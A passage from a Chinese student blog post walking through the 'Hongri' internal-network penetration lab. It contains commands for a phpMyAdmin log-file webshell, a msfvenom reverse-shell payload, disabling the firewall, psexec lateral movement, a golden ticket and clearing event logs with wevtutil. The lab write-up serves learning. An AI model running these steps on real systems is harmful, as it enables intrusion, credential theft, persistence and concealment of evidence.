内网攻防——红日靶场(一)

news2025/3/16 5:45:14

在学习内网的过程中有着诸多不了解的内容。希望能借下面的靶场来步入内网的大门。

一、准备阶段

首先准备好我们的虚拟机

 之前有学过关于:工作组、域、DC的概念。

了解一下此时的网络拓扑图

1.设置网络VMnet1和Vmnet8

将VMnet1作为内网,VMnet8作为外网。其中,VMnet1的子网地址必须是 192.168.52.0。否则后面win7的web服务无法开启。

2.设置win7 web服务器

从网络拓扑图可知,需要模拟内网和外网两个网段,win7虚拟机相当于网关服务器,需要两张网卡。比如:网卡1连接内网:192.168..... 网卡2连接外网 10.0.....

接下来ping一下,看一下内网和外网是否成功设置好了

首先ping一下主机,能ping通就说明连上了外网。

再ping一下DC域控,说明成功连上了内网

3.配置域内主机

将win2003 和 win2008 都设置为自定义的Vmnet1

各个虚拟机的IP地址如下:

win2003 192.168.52.141

win7  内网网卡:192.168.52.143 外网网卡: 192.158.57.134

win2008: 192.168.52.138

4.开启win7上的web服务

输入win7的外网ip地址

二、外网探测

采用kali作为攻击机

已知此时win7的外网ip地址为 : 192.168.57.134

1.端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.57.134
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 20:10 CST
Nmap scan report for 192.168.57.134
Host is up (0.0015s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)

成功发现80端口。可以先访问一下网页

2.网页探测

直接扫一下目录

成功发现后台

搜索弱口令

那就猜用户名为root,接下来可以进行密码爆破或者继续试。这里的密码是root

3.getshell

成功进来,现在的思路可以是:写入木马来getshell。在之前的学习中,登录了phpmyadmin之后是很容易getshell的。这里我再回想一下,是通过日志写入的方式

尝试开启 general_log ,并修改这里的日志文件路径,让我们可以直接访问到

set global general_log="on";
set global general_log_file="C:/phpstudy/WWW/shell.php";

成功改好,此时向日志中写入一句话木马

这个时候如果我们访问日志文件就能够成功触发,先访问日志文件,再开启蚁剑

成功进入!

以前的学的渗透测试只能支持我做到这一步,下面的知识才是真正需要我摸索学习。

三、内网渗透

1.上线win7

cs上线方法

这里尝试用CobaltStrike来继续(然后也会尝试一下msf),顺带一起复习一下之前学过的内容

首先在kali上运行服务端,再到windows上运行客户端

先搞个监听器,然后点击

可以得到执行文件

 

将其上传到蚁剑当中

然后执行木马:

就可以成功上线了。

msf上线方法

下面是使用msf上线的方式:

使用msfvenom 生成可执行程序

┌──(root㉿kali)-[~/msf]
└─# msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.57.128 LPORT=5555 -f exe -o shell.exe

将得到的shell.exe 上传到蚁剑中

然后开启msfconsole,使用

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set Lhost 0.0.0.0
run

等到run开始之后,再到蚁剑中运行文件,就能成功上线了

2.权限提升

右键我们上线的机器,点击权限提升

等待一会儿之后就发现权限成功提升了!至于权限提升是怎样实现的,这里先不过多了解(后续的学习任务中会学习到!)

 3.内网信息收集

在这步之前可以先关闭一下win7的防火墙,防止后面出错

 beacon> shell netsh advfirewall set allprofiles state off

1.判断是否存在域

[03/13 19:00:57] beacon> shell ipconfig /all
[03/13 19:00:57] [*] Tasked beacon to run: ipconfig /all
[03/13 19:01:44] [+] host called home, sent: 44 bytes
[03/13 19:01:44] [+] received output:

Windows IP 配置

   主机名  . . . . . . . . . . . . . : stu1
   主 DNS 后缀 . . . . . . . . . . . : god.org
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : god.org
                                       localdomain

发现该win7是在 god.org下

2.查看存在多少个域

[03/13 19:02:41] beacon> shell net view /domain
[03/13 19:02:41] [*] Tasked beacon to run: net view /domain
[03/13 19:02:44] [+] host called home, sent: 47 bytes
[03/13 19:02:46] [+] received output:
Domain

-------------------------------------------------------------------------------
GOD                  
命令成功完成。

发现只有一个域,为 GOD

3.查看域内所有主机

[03/13 19:03:32] beacon> shell net view
[03/13 19:03:32] [*] Tasked beacon to run: net view
[03/13 19:03:46] [+] host called home, sent: 39 bytes
[03/13 19:03:47] [+] received output:
服务器名称            注解

-------------------------------------------------------------------------------
\\OWA                                                                          
\\ROOT-TVI862UBEH                                                              
\\STU1                                                                         
命令成功完成。

发现有: owa root-tvi862ubeh stu1(win7)

4.查看各个主机对应的IP

通过ping的方式可以得到:

[03/13 19:06:29] beacon> shell ping owa.god.org
[03/13 19:06:29] [*] Tasked beacon to run: ping owa.god.org
[03/13 19:06:47] [+] host called home, sent: 47 bytes
[03/13 19:06:50] [+] received output:

正在 Ping owa.god.org [192.168.52.138] 具有 32 字节的数据:
来自 192.168.52.138 的回复: 字节=32 时间=1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间=1ms TTL=128

也可以直接运行 net view

[03/13 19:31:05] beacon> net view
[03/13 19:31:05] [*] Tasked beacon to run net view
[03/13 19:31:55] [+] host called home, sent: 105057 bytes
[03/13 19:31:57] [+] received output:
List of hosts:

 Server Name             IP Address                       Platform  Version  Type   Comment
 -----------             ----------                       --------  -------  ----   -------
 OWA                     192.168.52.138                   500       6.1      PDC    
 ROOT-TVI862UBEH         192.168.52.141                   500       5.2             
 STU1   

可以得到 owa 对应的IP地址

owa 192.168.52.138

root-tvi862ubeh 192.168.52.141

stu1 192.168.52.143

5.扫描其他主机端口

个人感觉在cs中操作更为简单(其实是msf一开始没成功,一直显示端口处于 filtered 状态,而且还要设置代理转发,这里先尝试cs)

 这里只扫描几个常见的端口

[03/13 19:14:33] beacon> portscan 192.168.52.0-192.168.52.255 22,80,135,443,445,3389 arp 1024
[03/13 19:14:33] [*] Tasked beacon to scan ports 22,80,135,443,445,3389 on 192.168.52.0-192.168.52.255
[03/13 19:14:54] [+] host called home, sent: 93797 bytes
[03/13 19:15:55] [+] received output:
(ARP) Target '192.168.52.143' is alive. 00-0C-29-60-B5-7F
(ARP) Target '192.168.52.141' is alive. 00-0C-29-E2-B3-53
(ARP) Target '192.168.52.138' is alive. 00-0C-29-C1-2E-6F

[03/13 19:16:55] [+] received output:
(ARP) Target '192.168.52.254' is alive. 00-50-56-E8-E1-21
192.168.52.143:135
192.168.52.143:80
192.168.52.141:135
192.168.52.138:80
192.168.52.138:135
192.168.52.138:445 (platform: 500 version: 6.1 name: OWA domain: GOD)
192.168.52.141:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)
192.168.52.143:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)
Scanner module is complete

可以发现基本都开了445端口

445端口是TCP/IP协议栈中的标准端口,专门用于SMB的通信。

历史漏洞:永恒之蓝:利用SMBv1/v2的漏洞远程执行代码。

若目标主机在内网中,攻击者可利用其开放的445端口作为跳板,访问同一子网的其他主机

这里还应该看一下其他主机的操作系统版本的,我是尝试使用了 “神龙拉东” 但是貌似没什么反应。以后继续用到的话再来解决。

4.内网横向

已知开放了445端口,尝试创建SMB监听隧道

1.SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。

2.SMB协议基础:文件共享,域名解析等,默认通过445端口通信

1.创建SMB监听器

 2.切换攻击列表

右键

 psexec:是用于横向移动的核心工具之一。攻击者可以通过跳板机向目标主机发送命令,目标主机执行后,将结果返回给攻击者。但我认为这并不算上线,毕竟没有进行持久的连接,只是利用两个机器间的一些信任关系进行通信

 

直接点击Administrator信息就自动补全了,然后下面的sessions也要填

这样就横向成功了! 另外一个机器这里就不展示了。

5.权限维持

1.抓取哈希和明文密码

抓取哈希的权限维持作用:
(1)Pass-the-Hash(PTH攻击)

利用用户密码的哈希值(如 NTLM Hash)直接登录系统,绕过密码验证

(2)横向移动与提权

在域控制器中抓取 krbtgt Hash,可伪造任意用户票据来访问整个域

这里直接利用域控owa来抓取就行了

 2.黄金票据配置

 

User :随便一个用户名

Domain:域名

Domain SID:域ID

Krbtgt Hash

这里的 Domain SID可以使用下面的命令来获得

[03/13 21:02:36] beacon> shell whoami /user
[03/13 21:02:36] [*] Tasked beacon to run: whoami /user
[03/13 21:03:17] [+] host called home, sent: 43 bytes
[03/13 21:03:18] [+] received output:

用户信息
----------------

用户名              SID     
=================== ========
nt authority\system S-1-5-18

填好之后 build

这样一来,我们就成功通过黄金票据在域内建立了持久化认证,能够以 hacker 身份无密码访问资源。

四、痕迹清除

在域控上可以看到安全日志

现在尝试将日志信息清除

shell wevtutil cl security // 清除安全日志
shell wevtutil cl system // 清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" // 清理powershell日志

五、一些其他的点

1.使用msf

首先是在我们成功上线win7之后的操作,可能后面还是做不出来,但能了解一些是一些了

1.进程迁移

目的技术实现攻击场景
1. 隐蔽恶意活动注入DLL到合法进程(如svchost.exe绕过杀毒软件的静态/动态检测
2. 横向移动将恶意进程迁移到其他主机(如psexec扩大攻击范围,访问更多内网资源
3. 持久化控制注入持久化后门(如Covenant)到系统进程实现长期驻留,抵抗重启或杀软清除
4. 绕过安全边界利用合法协议(如HTTP/SMB)迁移进程伪装成正常流量,规避防火墙和IDS检测
5. 提升权限通过高权限进程(如winlogon.exe)提权绕过用户权限限制,直接访问敏感系统组件

 首先运行 ps ,可以找到下面这个进程

记下PID,执行:

meterpreter > migrate 3708
[*] Migrating from 5428 to 3708...
[*] Migration completed successfully.

就显示进程迁移成功了。信息收集和cs感觉差不多

 2.添加路由和socks代理

必须是先添加路由再挂代理,这里根据我们之前的内网信息收集来进行

meterpreter > run autoroute -s 192.168.52.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.57.134
[*] Use the -p option to list all active routes

设置路由,强制内网内的目标主机上的特定流量通过跳板机中转,最终由跳板机将数据传回外网的kali机。

但一开始这里我并没有理解,我后来复盘了一下自己的想法,发现主要有下面两个疑问:

(1)因为我一直认为:kali作为攻击机,既然无法访问到内网,想必都要借助跳板机来访问内网主机,怎么会是: 目标主机 --> 跳板机 --> kali 这样的路由转发顺序呢?

答:就算我是通过 kali-->跳板机-->目标主机 这样的顺序来访问目标主机,由于目标主机的路由表未修改,流量会按照原始路由表路径发送,会导致跳板机无法截获流量。只有设置了这样的路由规则,我们就可以通过跳板机在目标主机上执行指令,然后目标主机会将流量专门发送到跳板机,从而被kali控制。

(2)我拿下的只是跳板机,为什么我可以设置目标主机的路由规则呢?

答:路由表位于目标主机的内存中,攻击者可以通过跳板机向目标主机发送指令,诱使或强制其修改路由表。但如果目标主机强制要求路由规则必须通过本地管理员权限设置的话,就得依靠:漏洞、社会工程学等手段来修改路由了。

为什么设置了路由还需要挂代理?(后面会学习一种只用路由来扫描的方法,但挂代理会更保险一些)

设置路由后的图:
kali -> 跳板机-> 目标主机->跳板机->kali

设置代理后的图:

kali ->跳板机:1080(socks代理)->目标主机->跳板机:1080(socks代理)->kali

这样一来代理服务器(跳板机:1080)会修改请求的源IP(kali的IP)为跳板机的公网IP,从而隐藏kali的真实身份

 看看配置代理需要用到哪些参数

msf6 auxiliary(server/socks_proxy) > search socks

Matching Modules
================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  auxiliary/server/socks_proxy             .                normal  No     SOCKS Proxy Server
   1  auxiliary/server/socks_unc               .                normal  No     SOCKS Proxy UNC Path Redirection
   2  auxiliary/scanner/http/sockso_traversal  2012-03-14       normal  No     Sockso Music Host Server 1.5 Directory Traversal


Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/sockso_traversal

然后use 0

msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must
                                        be an address on the local machine or 0.0.0.0 to listen on
                                        all addresses.
   SRVPORT  1080             yes       The port to listen on
   VERSION  5                yes       The SOCKS version to use (Accepted: 4a, 5)


   When VERSION is 5:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   USERNAME                   no        Proxy username for SOCKS5 listener


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server



View the full module info with the info, or info -d command.

发现这里有:SRVHOST SRVPORT

SRVHOST 指定代理服务器(socks服务)的监听地址和端口。

如果是 0.0.0.0 的话,表示代理服务器监听跳板机的所有接口,但内网中的其他主机是可以访问该代理服务的。

如果是 127.0.0.1 的话,只有本地机器才能访问到,内网中的其他机器是访问不到的。

这里我们设置127.0.0.1 或者 0.0.0.0 都可以,都能访问到,但是只让这条通道只让 kali 跳板机 访问感觉更好一些

然后run

然后由于要使用kali中的nmap等工具,需要配置 /etc/proxychains4.conf 配置的内容和上面options的内容一样

然后是使用nmap,nmap这里也搞了我很久,我尝试的命令主要有两条

proxychains nmap -sT -Pn  -p 445 192.168.52.138 (可以访问)
proxychains nmap -sV -Pn  -p 445 192.168.52.138 (无法访问)

(1)-sT 的兼容性更高。代理服务器只需转发原始TCP流量,目标主机无法区分攻击源是kali还是代理服务

(2)-sV 版本检测会发送一系列完整的应用层协议请求(SMB,HTTP等)这样就会触发目标主机的防火墙规则!导致455端口显示在 filtered 状态!

这样就好了

如果配置隧道还是不行的话,这里只进行端口扫描试试?

msf6 auxiliary(server/socks_proxy) > use portscan/tcp

Matching Modules
================

   #  Name                            Disclosure Date  Rank    Check  Description
   -  ----                            ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/tcp  .                normal  No     TCP Port Scanner


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/portscan/tcp

[*] Using auxiliary/scanner/portscan/tcp

msf6 auxiliary(scanner/portscan/tcp) > options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                           etasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445
PORTS => 445

msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.52.138:       - 192.168.52.138:445 - TCP OPEN
[*] 192.168.52.138:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

同样也可以发现445端口是打开的

3.进行ms17-010攻击

先来扫描一下,看看能不能进行ms17-010攻击

msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                        Required  Description
   ----         ---------------                        --------  -----------
   CHECK_ARCH   true                                   no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                   no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                  no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/  yes       List of named pipes to check
                wordlists/named_pipes.txt
   RHOSTS                                              yes       The target host(s), see https://docs.metasploit.com/docs/using-met
                                                                 asploit/basics/using-metasploit.html
   RPORT        445                                    yes       The SMB service port (TCP)
   SMBDomain    .                                      no        The Windows domain to use for authentication
   SMBPass                                             no        The password for the specified username
   SMBUser                                             no        The username to authenticate as
   THREADS      1                                      yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.138:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.52.138:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

显示漏洞应该是存在的,但不知道能不能成功,结果是没有成功。。。

后面发现还是需要 msf 和 cs一起使用才更有效果一些,那msf板块就先到这了。

六、总结

首先,如果有不正确的地方,感谢大家指正!

学校的课程也刚开始学习计网,本人对于以下几点还是需要学习:

(1)进程注入的原理

(2)如何实现横向

(3)路由与代理

由于这篇拖太久了,中途遇到了很多问题,导致整篇下来思路有些乱糟糟的,相信之后熟悉了内网渗透了之后会好很多。对于cs和msf工具的使用还得继续学习,多发现一些自己不懂的问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2315820.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

协议-LoRa-Lorawan

是什么? LoRa是低功耗广域网通信技术中的一种,是Semtech公司专有的一种基于扩频技术的超远距离无线传输技术。LoRaWAN是为LoRa远距离通信网络设计的一套通讯协议和系统架构。它是一种媒体访问控制(MAC)层协议。LoRa = PHY Layer LoRaWAN = MAC Layer功耗最低,传输最远 ![ …

redis主从搭建

1. 哨兵 1.1 ⼈⼯恢复主节点故障 Redis 的主从复制模式下&#xff0c;⼀旦主节点由于故障不能提供服务&#xff0c;需要⼈⼯进⾏主从切换&#xff0c;同时⼤量 的客⼾端需要被通知切换到新的主节点上&#xff0c;对于上了⼀定规模的应⽤来说&#xff0c;这种⽅案是⽆法接受的&…

Linux中Gdb调试工具常用指令大全

1.gdb的安装 如果你是root用户直接用指令 &#xff1a;yum install gdb &#xff1b;如果你是普通用户用指令&#xff1a;sudo yum install gdb&#xff1b; 2.gdb调试前可以对你的makefile文件进行编写&#xff1a; 下面展示为11.c文件编写的makefile文件&#xff1a; code…

操作系统-八股

进程基础&#xff1a; 进程定义&#xff1a;运行中的程序&#xff0c;有独立的内存空间和地址&#xff0c;是系统进行资源调度和分配的基本单位。 并发&#xff0c;并行 并发就是单核上面轮询&#xff0c;并行就是同时执行&#xff08;多核&#xff09;&#xff1b; 进程上下…

ICLR2025 | SLMRec: 重新思考大语言模型在推荐系统中的价值

note 问题背景&#xff1a;序列推荐&#xff08;SR&#xff09;任务旨在预测用户可能的下一个交互项目。近年来&#xff0c;大型语言模型&#xff08;LLMs&#xff09;在SR系统中表现出色&#xff0c;但它们巨大的规模使得在实际平台中应用变得低效和不切实际。 研究动机&…

71.HarmonyOS NEXT PicturePreviewImage组件深度剖析:从架构设计到核心代码实现

温馨提示&#xff1a;本篇博客的详细代码已发布到 git : https://gitcode.com/nutpi/HarmonyosNext 可以下载运行哦&#xff01; HarmonyOS NEXT PicturePreviewImage组件深度剖析&#xff1a;从架构设计到核心代码实现 (一) 文章目录 HarmonyOS NEXT PicturePreviewImage组件深…

简单实现京东登录页面

Entry Component struct Index {State message: string ;build() { Column(){//顶部区域Row(){Image($r(app.media.jd_cancel)).width(20).height(20)Text(帮助)}.width(100%).justifyContent(FlexAlign.SpaceBetween)//logo图标Image($r(app.media.jd_logo)).width(250).heig…

9.贪心算法

简单贪心 1.P10452 货仓选址 - 洛谷 #include<iostream> #include<algorithm> using namespace std;typedef long long LL; const int N 1e510; LL a[N]; LL n;int main() {cin>>n;for(int i 1;i < n;i)cin>>a[i];sort(a1,a1n);//排序 LL sum 0…

大模型训练全流程深度解析

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。https://www.captainbed.cn/north 文章目录 1. 大模型训练概览1.1 训练流程总览1.2 关键技术指标 2. 数据准备2.1 数据收集与清洗2.2 数据…

每日一题---单词搜索(深搜)

单词搜索 给出一个二维字符数组和一个单词&#xff0c;判断单词是否在数组中出现&#xff0c; 单词由相邻单元格的字母连接而成&#xff0c;相邻单元指的是上下左右相邻。同一单元格的字母不能多次使用。 数据范围&#xff1a; 0 < 行长度 < 100 0 < 列长度 <…

插入排序c++

插入排序的时间复杂度为O&#xff08;N^2&#xff09;&#xff0c;和冒泡排序的时间复杂度相同&#xff0c;但是在某些情况下插入排序会更优。 插入排序的原理是&#xff1a;第1次在0~0范围内排序&#xff0c;第2次在0~1范围内排序&#xff0c;第3次在0~2范围内排序……相当于…

Swagger 从 .NET 9 中删除:有哪些替代方案

微软已经放弃了对 .NET 9 中 Swagger UI 包 Swashbuckle 的支持。他们声称该项目“不再由社区所有者积极维护”并且“问题尚未得到解决”。 这意味着当您使用 .NET 9 模板创建 Web API 时&#xff0c;您将不再拥有 UI 来测试您的 API 端点。 我们将调查是否可以在 .NET 9 中使用…

嵌入式八股ARM篇

前言 ARM篇主要介绍一下寄存器和中断机制,至于汇编这一块…还请大家感兴趣自行学习 1.寄存器 R0 - R3 R4 - R11 寄存器 R0 - R3一般用作函数传参 R4 - R11用来保存程序运算的中间结果或函数的局部变量 在函数调用过程中 注意在发生异常的时候 cortex-M0架构会自动将R0-R3压入…

使用DeepSeek和墨刀AI,写PRD文档、画原型图的思路、过程及方法

使用DeepSeek和墨刀AI&#xff0c;写PRD文档、画原型图的思路、过程及方法 现在PRD文档要如何写更高效、更清晰、更完整&#xff1f; 还是按以前的思路写PRD&#xff0c;就还是以前的样子。 现在AI这么强大&#xff0c;产品经理如何使用DeepSeek写PRD文档&#xff0c;产品经…

【VUE2】第五期——VueCli创建项目、Vuex多组件共享数据、json-server——模拟服务端api

黑马程序员视频地址&#xff1a;091-vuex的基本认知_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1HV4y1a7n4?vd_source0a2d366696f87e241adc64419bf12cab&spm_id_from333.788.videopod.episodes&p91 目录 1 VueCli 自定义创建项目 2 Eslint代码规范 2.1 规…

rpmlib(SetVersions) is needed by can-uilts-v2019.00.0-alt1.aarch64

在我在Linux中安装离线CAN工具时&#xff0c;出现了一个问题&#xff0c; rootwanghuo:~# rpm -ivh can-uilts-v2019.00.0-alt1.aarch64.rpm error: Failed dependencies:rpmlib(SetVersions) is needed by can-uilts-v2019.00.0-alt1.aarch64 意思是尝试安装 can-uilts-v20…

CNN 稠密任务经典结构

FCN UNet FPN FCNUNETFPNpadding无&#xff08;逐渐变小&#xff09; 有&#xff08;左右对称&#xff09;上采样 双线性双线性 最近邻跳跃链接 相加 Cropcat 1x1卷积相加 三个网络差不多&#xff0c;UNet名字最直观&#xff0c;后续流传…

算法刷题整理合集(二)

本篇博客旨在记录自已的算法刷题练习成长&#xff0c;里面注有详细的代码注释以及和个人的思路想法&#xff0c;希望可以给同道之人些许帮助。本人也是算法小白&#xff0c;水平有限&#xff0c;如果文章中有什么错误或遗漏之处&#xff0c;望各位可以在评论区指正出来&#xf…

STM32配套程序接线图

1 工程模板 2 LED闪烁 3LED流水灯 4蜂鸣器 5按键控制LED 6光敏传感器控制蜂鸣器 7OLED显示屏 8对射式红外传感器计次 9旋转编码器计次 10 定时器定时中断 11定时器外部时钟 12PWM驱动LED呼吸灯 13 PWM驱动舵机 14 PWM驱动直流电机 15输入捕获模式测频率 16PWMI模式测频率占空…

Houdini学习笔记

1. Houdini中一次只能显示一个物体 如果要都显示 需要 merge 节点 粉色的是 以参考显示 2.对任意一个节点按F1 可以弹出houdini官方文档 3. 恢复视角 Space H,居中 Space G 居中选中物体